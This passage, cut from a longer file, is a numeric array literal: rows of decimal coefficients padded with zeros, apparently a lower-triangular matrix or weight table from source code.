0.02775, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, 0.42249, 0.93849, -1.03322, -0.93975, 0.10462, -0.0186, 1.03083, -0.00439, 0.12341, 0.0796, -0.16239, 0.2498, -0.17147, 0.17635, 0.94206, -0.33683, -1.56656, 0.40989, 0.45054, -1.08812, -1.5571, 0.04889, 0.51552, 1.06262, 0.08709, -0.81852, 0.02308, 1.49546, 1.18907, 0.3371, -1.26274, 0.71056, -0.56295, -2.03412, -0.69572, -0.06701, -0.25066, 0.03742, -0.61749, 0.04566, -0.54844, -0.13508, -1.01808, -0.91271, -0.6048, 0.67541, -1.28408, -1.19792, -1.08733, -0.22798, 0.35431, 0.2242, -0.27853, -0.05254, 1.24395, 0.37693, 0.28908, 0.15835, -0.22098, -1.41823, -1.71345, -0.48347, -0.13572, -0.53892, 0.59663, 1.01597, -0.91648, -1.17595, -0.17372, 0.58419, 0.25727, -1.28024, -1.02626, -0.10389, 0.04982, 0.6838, -0.00807, -0.64142, 0.3341, 0.50427, -0.97466, -0.97082, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, -0.07305, -1.46315, -0.14659, 0.7523, -0.68188, 0.76184, 0.05696, 0.53011, -0.37763, -0.37217, 0.04017, 0.05184, 0.87452, 0.74036, -0.54495, -1.16203, 0.57467, 0.21848, -0.7502, 0.49726, 1.92806, 0.78387, -0.3516, -0.80385, 0.30903, 0.68026, 0.24653, -0.49488, -0.5026, 0.00104, 0.4576, -0.98511, -0.97753, 0.95002, 1.63043, -0.39025, -0.61142, 0.88187, 0.02533, -0.30372, -0.17368, -0.31817, -0.53779, 0.90316, 0.46912, 0.01848, 0.20784, 0.73224, 0.5073, 0.76242, -0.41187, 0.24797, -0.27787, 0.4346, -0.09449, -0.10258, 0.11717, 0.82419, 0.26046, 0.27598, -0.07549, -0.30461, -0.30177, 0.26497, 0.99146, -0.82962, -0.71043, 0.93392, 0.48852, -0.33039, 0.1524, -0.19634, 0.2162, 0.02342, 0.30836, -0.40612, 0.55646, 0.24717, 0.17913, 1.24043, 1.14295, -0.17142, 0.32596, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, -0.23374, 0.79846, 0.70064, 0.44288, 0.5251, -0.75152, -1.30382, 0.40917, 0.50091, 0.15195, -0.13626, -0.76791, -0.44286, -0.56439, 0.66805, 1.50807, 0.14132, -1.0035, 0.28555, 0.23407, -0.50673, -0.86884, 0.0543, 0.51332, -0.25589, 0.0632, -0.09696, -0.04403, 0.27343, 0.05748, 0.46283, -0.17747, 1.17899, 0.21021, -1.41884, -1.42774, -0.3554, 0.47875, 1.19086, -0.27142, -0.10693, 0.03665, 0.91354, -0.21979, -0.23806, -0.84514, 0.67042, -1.12009, -0.6139, -1.02506, 0.00092, 0.12277, 0.62769, -0.96158, 0.50593, 1.13193, -0.07541, -1.24137, -0.54831, 0.07328, -0.12357, -1.31141, -0.00369, -0.06953, -0.67414, 0.05171, -0.09479, -0.15768, -0.5308, -0.68458, -0.62757, 0.18687, -0.31419, -1.16013, -0.53576, 0.71529, 0.47882, 0.18233, -0.54692, -0.44018, 0.13441, -0.04886, -0.38331, -0.10856, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, -0.11002, 0.46808, -1.02867, 0.2865, -0.20253, -0.19518, 1.59746, -0.02692, -0.05932, -0.33895, 0.49313, -0.092, -0.29693, 0.73587, 0.3372, -0.08226, -0.27321, 1.03052, 0.18824, -0.88266, -0.30027, 1.03153, 0.45332, -0.11049, -0.06813, 0.84391, 0.49195, -0.19294, -0.51118, -0.23568, -0.06506, 0.21673, -0.72116, -0.84401, 0.68883, 1.96088, -0.02228, -0.9546, -0.36193, 0.08227, 0.18745, 0.50094, -0.64303, -0.5023, -0.21084, 0.77537, -0.43526, 0.54574, -0.11807, -0.04375, 0.21675, -0.39076, -0.69011, -0.55849, 0.22246, -0.17648, 0.13063, -0.34047, 0.76598, -0.23773, -0.97144, 0.03513, -0.49647, -0.10575, 0.5916, 0.66551, 0.15303, -0.32234, -0.08747, 0.23798, 0.38924, 0.51959, 0.74813, 0.64318, -0.46205, -0.67138, -0.12852, 0.66285, 0.43079, 0.4002, 0.14019, 0.5921, 0.17328, -0.1389, 0.01386, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, -0.64809, -0.28919, -0.16759, -0.15259, 0.53608, 0.94524, -1.1866, -0.58803, 0.86089, 0.44404, -0.00297, 0.42394, 0.24662, -0.62544, -1.04177, -0.46095, 0.43156, -0.34565, -0.64046, 0.18239, 0.17431, -0.41608, -0.48543, 0.03923, 0.02507, -1.04523, -0.44234, 0.92567, 1.65775, 0.45671, 0.00435, -0.10055, -0.20235, 0.80985, -0.05362, -1.25218, -1.15697, -0.89124, -0.90584, 0.92058, -0.36859, -0.07516, 0.26309, -0.13566, -0.53707, -0.17041, -0.346, 0.27847, -0.15986, 0.41343, 0.18397, -0.13064, 0.29519, 1.45545, -0.73357, -0.01725, 1.11353, 0.5726, -0.94825, -0.73767, -0.44596, -0.11647, 0.02165, -0.33711, 0.56041, 0.35704, -0.59231, 0.00746, 0.17882, -0.2787, -0.15959, -0.09385, -0.07256, -0.75943, 0.03656, 0.53388, -0.46631, -0.12444, 0.11913, -0.6478, -0.2585, 0.69937, -0.05995, 0.79255, -0.40219, 0.60932, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, -0.13318, 0.0714, 0.26359, -0.29063, -0.52324, -0.8505, 0.78577, 1.50765, -0.48411, -0.90319, 0.08567, 0.45081, -0.11266, -0.96392, 0.99626, 0.58102, -0.72274, -0.23976, 0.94919, 0.78174, -0.38904, -0.25195, 0.96112, 0.42168, 0.02359, 0.74711, 1.34418, 0.14854, -0.98562, -0.84235, 0.18692, 0.58169, 0.80815, -0.74491, -0.5696, 0.32827, 1.90384, 0.97464, -0.20596, -0.34359, -0.08643, -0.46693, 0.48122, 0.48284, 0.44957, 0.03951, 0.0283, -1.07999, 0.96791, 0.0226, -0.07972, 0.362, 0.62502, -0.85268, -1.06402, -0.62131, -0.30421, -0.33851, -0.50915, 0.21888, 0.60106, -0.54914, -0.33164, -0.44573, -0.30936, -0.28256, 0.49388, 0.95081, -0.44161, -0.47259, 0.03912, 0.29283, 0.47689, 0.84439, 0.40651, -0.1515, -0.17092, 0.55104, 0.01162, 0.43523, 0.36643, -0.14447, -0.26946, -1.1893, -0.34016, 0.21797, -0.09107, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, 0.22696, 0.00333, 0.13232, -0.05794, 0.12065, 1.12238, 0.13554, -1.62178, -0.43249, 1.22153, 0.0209, -1.31832, 0.03349, 1.13879, -0.02331, -0.12212, 0.09186, 0.16872, -0.72348, -0.94024, 0.06873, 0.01158, -1.17513, -0.48294, 0.0966, -0.63056, -1.71786, -1.05685, 0.47719, 1.46095, 0.24562, -0.25584, -0.51132, -0.38732, 0.79307, -0.01347, -0.89889, -0.58331, -0.1176, -0.3967, 0.16999, 0.07424, -0.34557, 0.66575, 0.26901, -0.65978, -0.14099, 0.83653, -0.37871, -0.82555, -0.1537, 0.85972, -0.04917, 0.13959, 1.1033, 0.32667, 0.37271, 0.52634, 0.92975, -0.3408, 0.16075, 0.11649, 1.13415, 0.02817, -1.0851, 0.04182, 0.41536, -0.30929, 0.37667, 0.46475, -0.33454, 0.19386, 0.35598, -0.03771, 0.2403, 0.56141, 0.45945, 0.08889, -0.21545, -0.70572, -0.6692, -0.20214, 0.46159, 0.67064, -0.25304, -0.307, -0.36665, 0.02972, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, -0.4109, 0.41981, -0.24631, 0.74677, 0.40053, -1.25895, -0.96775, 1.02275, 1.24612, -0.69335, -0.65248, 0.65701, 1.08486, -0.44873, -1.23439, 0.70383, 0.50565, -0.61838, -0.14307, 0.11713, 0.30178, -0.13229, 0.5095, 0.42898, 0.08652, 0.17791, 1.21689, 1.70683, 0.54359, -1.25359, -1.08354, 0.16467, 0.27726, 1.58683, -0.115, -0.74884, 0.05221, 1.10708, 0.53478, 0.28096, -0.50321, 0.11421, -0.43473, -0.71719, -0.45413, 0.82848, 0.3611, 0.12446, -0.92392, 0.56427, 0.31317, -0.61115, 0.4516, 0.91143, -0.2073, -0.36914, -0.50643, -0.31558, -0.22126, -0.16105, -0.47346, 0.10158, -0.10128, 0.20085, 0.66871, -0.56813, -0.45432, -0.25501, 0.07659, 0.12008, 0.16966, 0.00933, -0.08216, 0.76589, 0.11165, -0.62995, -0.5037, 0.41267, -0.41882, 0.26733, 0.35878, -0.05017, -0.65745, -0.01482, -0.46886, -0.47557, 0.34927, 0.26341, 0.646, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, -0.18576, 0.24899, -0.10846, -0.48664, -0.65025, 0.56081, 1.31384, 0.15905, -0.61861, 0.03537, 1.21102, 0.24049, -1.27315, -0.09516, 0.89462, -0.86298, -0.38451, 0.70448, 0.27082, -0.43494, -0.08815, 0.56505, -0.03926, -0.80468, -0.08875, 0.38114, -0.99747, -1.8294, -0.30245, 0.48978, 1.31744, 0.33618, 0.28921, -0.87521, -0.4583, 0.28176, -0.04168, -0.63864, -0.83176, 0.30412, 0.55915, 0.44704, 0.53352, 0.04888, 0.93182, 0.34191, -0.50061, -0.34054, 1.17006, 0.09704, -0.56877, -0.37542, 0.13169, -0.08398, -0.4458, -0.06425, 0.50252, 0.54632, -0.38509, 0.10533, 0.39685, 0.17358, 0.71254, 0.94506, 0.41529, -0.07202, -0.13551, 0.11562, -0.01163, 0.20686, -0.18088, -0.63849, -0.02678, -0.49548, -0.04186, 1.18541, 0.15814, -0.21115, -0.41177, -0.42838, -0.07031, 0.23929, -0.0914, 0.43711, 0.77428, -0.19123, -0.45516, -0.26833, -0.65289, 0.09703, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, 0.25638, -0.48905, -0.10181, 0.57581, 0.87423, 0.12583, -0.82539, -0.05714, 0.39264, 0.08466, -1.04504, -0.6255, 0.7624, 0.38876, -0.18711, 0.08737, 0.41213, 0.15141, 0.17019, 0.13145, -0.23252, -0.4225, -0.36895, 0.58275, 0.16062, -0.85443, 0.27888, 1.29474, 0.33313, 0.03476, -0.42412, -0.82991, -0.19565, 0.01481, 1.2434, 0.54863, 0.2254, 0.20839, 0.36209, -0.37381, -0.33853, -0.33172, 0.17329, -0.32529, -0.56383, -0.5378, 0.60371, 0.26651, -0.30526, -0.59199, -0.2556, -0.01753, -0.3592, 0.13582, 0.69521, 0.18288, -0.00451, -0.27871, 0.39076, -0.13012, -0.14729, -1.15157, -0.13051, -0.15286, 0.19021, -0.01877, -0.5878, -0.28656, 0.09538, -0.25796, -0.41614, 0.4424, 0.47921, 0.67449, 0.62983, -0.52637, 0.14267, -0.34236, -0.25661, 0.26135, -0.40879, -0.30289, 0.34101, 0.27065, -0.25575, 0.02381, 0.56908, -0.24282, 0.27228, 0.31355, -0.15693, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, -0.41399, 0.66874, 0.35756, 0.4118, -0.57273, -0.35205, 0.05486, 0.34535, -0.17468, -0.19216, 0.52462, 0.85509, 0.08744, -0.95898, 0.44853, 1.05816, -0.53837, -0.39749, 0.08018, -0.34707, 0.20022, 0.73102, 0.36078, -0.25246, -0.13949, 0.61809, 0.56318, -0.91313, -1.39161, 0.12129, 0.7263, 0.80043, -0.0935, 0.45269, -0.34098, -0.09649, -0.3162, 0.09117, -0.22421, -0.35773, 0.04993, 0.88387, 0.06082, 0.76914, 0.35974, 0.58051, -0.25504, -0.31398, -0.31561, 1.04293, 0.79354, -0.01876, -0.15231, -0.22398, -0.1718, -0.23341, -0.5806, 0.10439, 0.27172, 0.10967, 0.34454, 0.62364, 0.20342, 0.18107, 0.08074, 0.2674, 0.37803, -0.06246, -0.27497, 0.14763, -0.09635, -0.12762, -0.76633, -0.50651, 0.28802, 0.99037, 0.0629, -0.02189, -0.76727, -1.0269, -0.80084, -0.23641, -0.20153, 0.08516, 0.12041, 0.15019, 0.13155, -0.48372, -0.13836, -0.34298, -0.18594, 0.31072, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, -0.08613, 0.48257, -1.02469, -0.4984, 0.50946, 0.44367, 0.4212, -0.35806, 0.70502, 0.44027, -0.30724, -0.8386, -0.24055, 0.60903, -0.49562, -0.93258, 0.40587, 0.49568, 0.20689, 0.90728, 0.54117, -0.62536, -0.80552, -0.11825, 0.58893, -0.23401, -0.51997, 0.82073, 1.66709, -0.31665, -0.55312, -0.10486, 0.24681, 0.01043, -0.29096, -0.2836, 0.2207, 0.58655, 0.7627, 0.62271, -0.19936, -0.78945, -0.27715, -0.27234, -0.63506, -0.49801, -0.20699, 0.58711, -0.00554, -0.60237, -0.48785, -0.08212, -0.6499, -0.52665, -0.20375, -0.11777, 0.19961, 0.12138, -0.36044, -0.55325, -0.59757, 0.00429, -0.70561, -0.48919, 0.04184, -0.02008, 0.00333, -0.48484, -0.03158, 0.4964, -0.07357, -0.60422, 0.07277, -0.18511, 0.09129, 0.12576, 0.233, 0.09768, 0.18898, -0.08373, -0.25233, -0.49438, -0.23405, -0.29577, -0.03972, 0.20381, 0.12647, 0.33909, 0.21386, 0.31464, 0.03403, -0.35743, -0.10889, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, 0.17196, -0.54421, 0.44485, 0.70668, 0.27781, -0.31168, -0.30138, 0.27407, -0.21116, -0.47942, -0.19409, 0.54142, 0.72872, -0.33894, -0.57499, 0.28102, 0.4324, -0.30055, -0.50724, -0.80831, -0.45592, 0.31528, 0.95162, 0.3804, -0.55251, -0.20295, 0.56685, -0.27487, -1.09125, -0.60805, 0.3826, 0.22809, -0.15688, -0.39435, 0.24974, 0.34147, 0.44941, -0.33691, -0.63186, -0.2792, 0.14305, 0.40639, 0.91, 0.07613, 0.76195, 0.64504, 0.96029, -0.36645, -0.33131, -0.12276, 0.56682, 0.94936, 0.95767, 0.62417, 0.24244, 0.0004, 0.08955, 0.2565, 0.3349, 0.03706, -0.0619, -0.2604, 0.48699, -0.17954, 0.18269, -0.08327, -0.61779, 0.49962, 0.28398, 0.13192, -0.27569, -0.22054, -0.19353, -0.22236, -0.12929, 0.44698, 0.38429, -0.27044, 0.46041, 0.11699, -0.33502, -0.49457, -0.07313, 0.07758, -0.04423, -0.09569, -0.21081, -0.45754, 0.48155, -0.13954, -0.31965, -0.08882, 0.43226, -0.19308, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, -0.38673, 0.66859, 0.42413, -0.34004, -0.9607, -0.14071, 0.31409, 0.3242, 0.07334, 0.38027, 0.42333, -0.21847, -0.34043, 0.11872, 0.8731, 0.19765, -0.91969, -0.37665, 0.11373, 0.37473, 0.9782, 0.55593, -0.59938, -0.65812, -0.13266, 0.17406, -0.57809, -0.28827, 0.79998, 1.23113, -0.49729, -0.57434, 0.29825, 0.7249, 0.36576, 0.1562, -0.60007, -0.0258, 0.46178, 0.51275, 0.03103, -0.39023, -0.82075, -0.08551, -0.21434, -0.42846, -0.58996, -0.27817, 0.1725, -0.00322, -0.89415, -0.60815, -0.44517, -1.02395, -0.82424, -0.56668, -0.45398, -0.33786, -0.05909, -0.15354, 0.09634, -0.14119, -0.55132, -0.3847, -0.42615, -0.09371, 0.011, -0.51621, -0.78167, 0.14419, 0.73695, 0.54487, -0.34553, -0.2409, -0.24754, -0.14586, 0.07217, 0.28793, -0.29097, -0.05865, -0.41109, -0.57255, -0.3398, -0.34204, -0.21875, 0.30506, 0.11285, 0.1217, 0.24468, -0.39244, -0.01015, -0.49014, -0.26467, -0.17885, 0.08877, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, 0.085, 0.29089, -0.84379, 0.18421, 0.76282, 0.32386, -0.13644, -0.1689, 0.17039, -0.30179, -0.2356, 0.1882, 0.47293, 0.28999, -0.42183, -0.12676, 0.51424, 1.06736, -0.03485, -0.61063, -0.79079, -0.85092, 0.03841, 0.47676, 0.77755, -0.02741, 0.39506, 0.29699, -0.70661, -0.84315, 0.43229, 0.79464, -0.17086, -0.76822, -0.69241, -0.50142, 0.3314, 0.49155, -0.55152, -0.3252, 0.10035, 0.43751, 0.47092, 0.43352, 0.19826, 0.40495, 0.49092, 1.21541, 0.2895, -0.18255, 0.00587, 0.67666, 0.63409, 0.987, 0.61869, 0.65077, 0.04554, 0.02319, 0.12531, 0.16099, -0.1072, 0.21138, 0.41124, 0.33573, -0.04283, -0.20672, -0.07308, 0.61172, 0.75365, 0.03299, -0.15306, 0.16118, 0.06707, 0.0731, 0.11551, -0.24519, 0.11008, 0.34332, -0.00678, -0.14886, 0.08768, 0.15953, 0.23632, -0.06743, 0.47692, -0.37414, -0.11863, -0.06305, -0.04772, 0.24176, 0.00275, 0.0879, 0.01141, 0.07806, -0.64664, -0.09103, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, -0.27738, -0.24889, 0.6548, 0.59512, 0.15683, -0.62082, -0.36864, 0.29347, -0.01321, -0.15953, 0.17052, 0.11314, -0.38844, -0.41958, -0.13326, 0.38146, 0.27901, -0.88265, -0.39529, 0.08218, 0.49692, 0.80837, 0.40769, -0.3463, -0.76939, -0.19609, -0.10903, -0.37871, 0.42708, 0.57827, -0.12908, -0.89436, -0.3383, 0.56912, 0.69383, 0.16096, 0.09779, -0.48129, 0.11719, 0.37911, 0.32886, -0.07626, -0.46646, -0.7784, -0.1407, -0.52188, -0.29598, -0.73801, -0.12269, -0.31527, -0.06997, -0.54629, -0.47305, -0.20471, -0.6337, -0.91836, -0.17759, -0.55741, -0.30453, -0.19588, -0.15241, 0.10204, -0.08221, -0.15322, -0.02937, -0.03377, -0.42444, -0.42082, -0.59927, -0.25687, 0.15389, 0.42418, 0.00478, 0.03358, -0.30542, -0.07231, 0.0681, 0.05839, -0.31689, -0.09216, -0.19046, -0.50361, -0.89914, -0.1373, -0.11806, 0.10204, 0.25102, 0.37822, 0.26158, 0.07673, -0.08413, -0.6046, -0.12513, -0.31722, 0.00209, -0.13841, 0.04463, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, 0.37386, 0.3015, -0.31252, -0.38206, -0.17239, 0.80383, 0.45686, -0.16129, 0.0665, 0.14257, -0.50554, -0.01202, 0.74239, 0.61244, 0.22246, -0.44723, -0.37544, 0.91317, 1.0856, -0.20544, -0.38915, -0.35432, -0.38964, -0.20397, 0.0168, 0.60329, 0.11806, 0.12619, -0.40375, -0.68153, -0.48785, 0.6325, 0.61688, -0.06571, -0.71882, -0.24941, -0.34326, 0.2754, 0.08298, -0.41917, -0.30295, 0.53603, 0.67635, 0.50046, 0.36864, 0.239, 0.37794, 0.23574, 0.20111, 0.55278, 0.37986, 0.31275, 0.47445, 0.41362, 0.47882, 0.47499, 0.40615, 0.55448, 0.26522, 0.16417, 0.23021, -0.31425, 0.54357, 0.29258, 0.05538, -0.25265, -0.4115, -0.02845, 0.45299, 0.84002, 0.00189, 0.37128, 0.50833, 0.30342, 0.07427, -0.29511, -0.13258, 0.07221, 0.30045, -0.03996, -0.24281, -0.3108, -0.06341, -0.03422, 0.1601, 0.14535, 0.00012, -0.47345, -0.06105, 0.08951, 0.13351, 0.31067, -0.2183, 0.18491, 0.06095, 0.08859, 0.23546, 0.22899, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, -0.1836, -0.19457, -0.48851, 0.31044, 0.12111, -0.06719, -0.50533, -0.02527, 0.29799, -0.04852, 0.28571, 0.32345, -0.33141, -0.34545, 0.09483, 0.54819, 0.32201, -0.457, -1.03736, -0.16728, 0.17869, 0.21563, 0.40964, 0.46578, 0.06784, -0.65215, -0.3144, 0.14116, 0.55401, 1.0645, 0.93145, -0.37657, -0.73678, -0.30225, 0.67105, 0.43893, 0.03043, -0.03292, -0.40697, 0.1157, -0.06123, -0.62035, -0.38299, -0.54195, -0.52424, -0.09884, -0.42556, -0.10665, -0.26781, 0.01276, -0.39884, -0.18014, -0.29383, -0.27677, -0.24788, -0.21215, -0.53493, 0.08967, -0.26831, 0.08254, -0.32139, -0.21474, -0.1421, -0.01454, 0.3087, 0.43084, 0.48155, 0.13011, -0.31882, -0.13729, 0.05791, -0.22928, 0.1545, 0.26585, 0.04337, -0.13221, -0.08495, 0.17933, -0.15441, -0.21014, -0.2156, -0.22873, -0.10094, -0.32374, -0.35577, -0.45381, -0.04146, 0.29085, 0.0017, -0.10084, -0.21606, -0.30077, -0.06175, 0.04024, 0.21861, 0.10367, 0.11424, -0.22356, 0.17639, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, -0.04418, 0.86649, 0.20677, -0.06972, -0.19096, -0.30659, 0.53302, 0.32214, -0.04489, 0.14908, -0.24338, -0.53219, -0.11051, 0.09431, 0.32376, -0.07331, -0.62627, -0.06755, 0.96446, 0.574, -0.05284, -0.04748, 0.11887, -0.44968, -0.0287, 0.29007, 0.67895, 0.10041, -0.66565, -1.10217, -0.6687, 0.09357, 0.44374, 0.3733, -0.39023, -0.41164, 0.09056, 0.05213, 0.11625, -0.11897, -0.16413, 0.41154, 0.66446, 0.69879, 0.62903, 0.1211, 0.47745, 0.42501, 0.39779, -0.50031, 0.00974, 0.20448, 0.22597, 0.12589, 0.38364, 0.42743, 0.21055, 0.29849, 0.35683, 0.32973, 0.31204, 0.34257, 0.08997, 0.21161, 0.1584, 0.1578, 0.16037, 0.01215, -0.1121, 0.06912, -0.06761, -0.03578, -0.14439, -0.0481, -0.07966, 0.241, -0.20658, -0.19125, -0.00662, 0.24898, -0.16893, -0.00271, -0.44584, 0.00346, 0.29025, 0.31308, -0.26218, -0.39376, -0.39914, -0.00066, 0.11001, -0.02889, 0.2256, 0.00324, -0.09812, -0.00159, -0.07294, 0.0462, 0.56175, -0.16439, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
